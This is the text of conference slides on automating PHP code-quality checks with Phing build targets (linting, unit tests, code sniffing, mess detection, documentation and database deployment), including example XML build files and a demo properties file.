<!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" />
<!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset>
<!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target></project>
Structure of a build
</project>
build.propertiesproject.title=WeCyclephpbook:qademo dragonbe$ cat build.properties # General settingsproject.website=http://wecycle.localproject.title=WeCycle
# AB Testing propertiesabrequests=1000abconcurrency=10
local.propertiesproject.website=http://qademo.localabrequests=1000abconcurrency=10
db.username=qademo_userdb.password=v3rRyS3crEtdb.hostname=127.0.0.1db.dbname=qademo
Let’s run it
Artifacts
• some tools provide output we can use later• called “artifacts”• we need to store them somewhere• so we create a prepare target• that creates these artifact directories (./build)• that gets cleaned every run
Prepare for artifacts <target name="prepare" description="Clean up the build path"> <delete dir="${project.basedir}/build" quiet="true" /> <mkdir dir="${project.basedir}/build" /> <mkdir dir="${project.basedir}/build/docs" /> <mkdir dir="${project.basedir}/build/logs" /> <mkdir dir="${project.basedir}/build/coverage" /> <mkdir dir="${project.basedir}/build/pdepend" /> <mkdir dir="${project.basedir}/build/browser" /> </target>
phpdoc2 <target name="phpdoc2" description="Generating automated documentation"> <property name="doc.title" value="${project.title} API Documentation"/> <exec command="/usr/bin/phpdoc -d application/,library/In2it -e php -t ${project.basedir}/build/docs --title="${doc.title}"" dir="${project.basedir}" passthru="true" /> </target>
PHPUnit <target name="phpunit" description="Running unit tests"> <exec command="/usr/bin/phpunit --coverage-html ${project.basedir}/build/coverage --coverage-clover ${project.basedir}/build/logs/clover.xml --log-junit ${project.basedir}/build/logs/junit.xml" dir="${project.basedir}/tests" passthru="true" /> </target>
PHP_CodeSniffer <target name="phpcs" description="Validate code with PHP CodeSniffer"> <exec command="/usr/bin/phpcs --report=checkstyle --report-file=${project.basedir}/build/logs/checkstyle.xml --standard=Zend --extensions=php application library/In2it" dir="${project.basedir}" passthru="true" /> </target>
Copy Paste Detection <target name="phpcpd" description="Detect copy/paste with PHPCPD"> <phpcpd> <fileset refid="phpfiles" /> <formatter type="pmd" outfile="${project.basedir}/build/logs/pmd-cpd.xml" /> </phpcpd> </target>
PHP Mess Detection <target name="phpmd" description="Mess detection with PHPMD"> <phpmd> <fileset refid="phpfiles" /> <formatter type="xml" outfile="${project.basedir}/build/logs/pmd.xml" /> </phpmd> </target>
PHP Depend <target name="pdepend" description="Dependency calculations with PDepend"> <phpdepend> <fileset refid="phpfiles" /> <logger type="jdepend-xml" outfile="${project.basedir}/build/logs/jdepend.xml" /> <logger type="phpunit-xml" outfile="${project.basedir}/build/logs/phpunit.xml" /> <logger type="summary-xml" outfile="${project.basedir}/build/logs/pdepend-summary.xml" /> <logger type="jdepend-chart" outfile="${project.basedir}/build/pdepend/pdepend.svg" /> <logger type="overview-pyramid" outfile="${project.basedir}/build/pdepend/pyramid.svg" /> </phpdepend> </target>
PHP CodeBrowser <target name="phpcb" description="Code browser with PHP_CodeBrowser"> <exec command="/usr/bin/phpcb -l ${project.basedir}/build/logs -S php -o ${project.basedir}/build/browser" dir="${project.basedir}" passthru="true"/> </target>
Create a build procedure <target name="build" description="Building app"> <phingCall target="prepare" /> <phingCall target="phplint" /> <phingCall target="phpunit" /> <phingCall target="phpdoc2" /> <phingCall target="phpcs" /> <phingCall target="phpcpd" /> <phingCall target="phpmd" /> <phingCall target="pdepend" /> <phingCall target="phpcb" /> </target>
Other things to automate
• server stress-testing with Apache Benchmark• database deployment with DBDeploy• package code base with Phar• transfer package to servers with- FTP/SFTP- scp/rsync• execute remote commands with SSH• … so much more
Example DBDeploy <target name="dbdeploy" description="Update the DB to the latest version">
<!-- set the path for mysql execution scripts --> <property name="dbscripts.dir" value="${project.basedir}/${dbdeploy.scripts}" />
<!-- process the DB deltas --> <dbdeploy url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" dir="${dbscripts.dir}/deltas" outputfile="${dbscripts.dir}/all-deltas.sql" undooutputfile="${dbscripts.dir}/undo-all-deltas.sql"/>
<!-- execute deltas --> <pdosqlexec url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" src="${dbscripts.dir}/all-deltas.sql"/> </target>
Build it
Continuous Integration
Now you are a winner!
Team Works!
Conclusion
Get your informationin a consistent, automated wayand make it accessible for the team
More people can better safeguard the code!
Recommended reading
www.owasp.org planet.phpunit.de
(just click on the links)
Recommended reading
• OOD Quality Metrics-‐ Robert Cecil Mar@n
Free
h=p://www.objectmentor.com/publicaEons/oodmetrc.pdf
#PHPBNL14January 25 - 26, 2014
Feedback/Questions
Michelangelo van Dam
@DragonBe
CreditsI’d like to thank the following people for sharing their creative commons picturesmichelangelo: http://www.flickr.com/photos/dasprid/5148937451birds: http://www.flickr.com/photos/andyofne/4633356197safeguarding: http://www.flickr.com/photos/infidelic/4306205887/bugs: http://www.flickr.com/photos/goingslo/4523034319behaviour: http://www.flickr.com/photos/yuan2003/1812881370prevention: http://www.flickr.com/photos/robertelyov/5159801170progress: http://www.flickr.com/photos/dingatx/4115844000workout: http://www.flickr.com/photos/aktivioslo/3883690673measurement: http://www.flickr.com/photos/cobalt220/5479976917team spirit: http://www.flickr.com/photos/amberandclint/3266859324time: http://www.flickr.com/photos/freefoto/2198154612continuous reporting: http://www.flickr.com/photos/dhaun/5640386266deploy packages: http://www.flickr.com/photos/fredrte/2338592371coffee: http://www.flickr.com/photos/nalundgaard/3167849171chris hartjes: http://www.flickr.com/photos/akrabat/8421560178mount everest: http://upload.wikimedia.org/wikipedia/commons/0/00/Nepal_Mount_Everest_And_Ama_dablam.jpgeverybody likes this: http://www.flickr.com/photos/19marksdesign/5268732048race cars: http://www.flickr.com/photos/robdunckley/3781995277protection dog: http://www.flickr.com/photos/boltofblue/5724934828gears: http://www.flickr.com/photos/freefoto/59825499381st place: http://www.flickr.com/photos/evelynishere/3417340248elephpant: http://www.flickr.com/photos/drewm/3191872515
Thank you